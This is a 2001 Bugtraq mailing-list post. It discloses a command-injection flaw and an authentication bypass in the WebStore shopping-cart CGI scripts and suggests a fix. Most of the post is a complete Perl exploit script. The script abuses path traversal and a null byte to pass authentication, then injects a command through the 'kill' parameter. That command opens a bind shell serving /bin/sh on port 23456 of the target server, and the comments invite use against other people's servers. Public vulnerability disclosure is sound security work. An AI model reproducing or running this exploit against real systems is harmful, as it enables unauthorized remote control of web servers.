Bugtraq mailing list archives

bug


From: "Deja User" <noident () my-deja com>
Date: Tue, 12 Jun 2001 09:31:09 -0700

Hi,
I'm reposting a bug I've found some time before.
Thanks

WebStore from www.cgicentral.net is a shopping cart allowing users to buy things on-line.
One of the scripts in the package, ws_mail.cgi unsafely passes user-submitted data to
'system' command:
if ($in{'terminate'}) {
        eval { system("kill $in{'kill'}") } if defined($in{'kill'});
This command can only be issued by an authenticated administrator.
Another script in the package, Library/WSSecurity.pl allows us to bypass verification:
in sub verify_user:
if ($filename) {
                $file = $user_directory.'/'.$filename.'.usr';
                open(FILE, $file) || &logon_html('Access Error');
                while (<FILE>) { @fields = split(/\|/) }
                close(FILE);
                if (-M $file > .02) {
                        &write_open($file,'');
                        print FILE join ('|', @fields);
                        close(FILE);
                        system("chmod 666 $file");
                }
                $fullname  = "\L\u$fields[2] "."\L\u$fields[3]";
                return ($filename, $fullname, $fields[1]);
        }
Variable $filename is passed by the user, and we can specify any file that we think
exists on the system that is readable and writeable by us, with or without path
traversal (the ../../ stuff) and get rid of the '.usr' bit by whacking a nul at the end
of $filename. This allows us to authenticate enough to issue the kill command.

The authors were contacted a week ago, I received no reply from them.

Suggested workaround:
One way to fix the unsafe system command is to substitute all instances of
system("kill $in{'kill'}" for
system("kill", "$in{'kill'}")
system in a list context is safe to use.

The vulnerability was found, exploit written and workaround suggested by:
Igor Dobrovitski noident () my-deja com

Exploit:


#!/usr/bin/perl -w
# Sun, May 6, 2001
# exploit by Igor Dobrovitski, noident () my-deja com
# The exploit is for the default set-up. A good way to test if your (your neighbour's :) server
# is vulnerable. Only for Unix, will now work on NT
# Enjoy
use Socket;
$| = 1;
####################################################################################################
$msgfile = '../../Statistics/WebStore_Access.counter';
$userfile = '../Statistics/WebStore_Access.counter';
# if the sploit doesn't work with the above values, comment them out and uncomment ones below
#$msgfile = '../../ws_delete_files.cron';
#$userfile = '../ws_delete_files.cron';
# or these if the above fails:
#$msgfile = '../../Statistics/index.html';
#$userfile = '../Statistics/index.html';
$exec_code = 'use Socket;$protocol = getprotobyname(tcp);socket(SOCK, PF_INET, SOCK_STREAM, $protocol)
;setsockopt(SOCK, SOL_SOCKET, SO_REUSEADDR, 1);$port=23456;bind(SOCK, sockaddr_in($port, INADDR_ANY));
listen(SOCK, 1);accept (NEW, SOCK);if(!fork()){open STDIN, "<&NEW"; open STDOUT, ">&NEW";open STDERR, 
">&NEW";exec "/bin/sh -i"}else{close NEW;exit;}';
####################################################################################################
unless(defined $ARGV[0]) {die "Usage: $0 www.example.com/cgi-bin/ws_mail.cgi\n"}
$ARGV[0] =~ s|^(?:http://)*(.*/).*(\..*)$|${1}ws_mail$2|;
($host, $scriptpath) = $ARGV[0] =~ m|^(.*?)(/.*)$|;
$userfile .= '\0';
$sh_cmd = '55555;perl=\'perl\';test -x /usr/bin/perl && perl=\'/usr/bin/perl\';test -x /usr/local/bin/
perl && perl=\'/usr/local/bin/perl\';$perl -e \'' . $exec_code . '\'';
# the above is what's passed to the 'system' command as part of an argument
$form = makeform({'userfile' => $userfile, 'kill' => $sh_cmd, 'terminate' => 'whatever',
                  'admin' => 'yep', 'restart' => 'pls', 'msgfile' => $msgfile});
print "Engaging the enemy. Please stand by...\n";
$SIG{ALRM} = sub { print STDERR "Timeout was expected. The shell awaits you on port 23456\nHave fun an
d be nice to the server.\n"; exit };
alarm(20);
&send($form);
&oops_the_sploit_did_not_work();

sub makeform
{
    my $string;
    my @blah;
    my $line  = '';
    my $here;
    my %data = %{$_[0]};
    foreach my $key (keys %data)
    {
        $line .= "$key" . 'AAAA' . "$data{$key}" . 'BBBB';
    }
    $line =~ s|^(.*)BBBB$|$1|;
    $line =~ s/\\n/\n/g;
    $line =~ s/\\t/\t/g;
    $line =~ s/\\e/\e/g;
    $line =~ s/\\f/\f/g;
    $line =~ s/\\r/\r/g;
    $line =~ s/\\0/\0/g;
    foreach my $char (split //, $line)
    {
        if($char !~ m/[A-Za-z0-9._ ]/)
        {
            $char = unpack "H2", $char;
            $char = '%' . "$char";
        }
        push @blah, $char;
    }
    $string = join "",@blah;
    $string =~ s/AAAA/=/g;
    $string =~ s/BBBB/&/g;
    $string =~ s/ /+/g;
    my $cont_len = length($string);
$here = <<EOF;
POST $scriptpath HTTP/1.0
User-Agent: Mozilla (Windows 98)
Host: $host
referer: $host
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
Content-type: application/x-www-form-urlencoded
Content-length: $cont_len

$string
EOF
    return $here;
}

sub send
{
    my $form_to_send = shift;
    my $h = inet_aton($host) or die "Forward lookup for $host failed\n";
    socket(S,PF_INET,SOCK_STREAM,6) or die "socket prolems\n";
    unless(connect(S,sockaddr_in(80,$h))) {print STDERR "Couldn't connect to " . inet_ntoa($h) . "\n"
; close(S); exit 1 }
    select(S);
    $|=1;
    print "$form_to_send";
    my @reply=<S>;
    select(STDOUT);
    close(S);
    return @reply;
}

sub oops_the_sploit_did_not_work
{
    print STDERR "The exploit didn't work on this host\nSorry...\n";
    exit;
}




------------------------------------------------------------
--== Sent via Deja.com ==--
http://www.deja.com/


Current thread: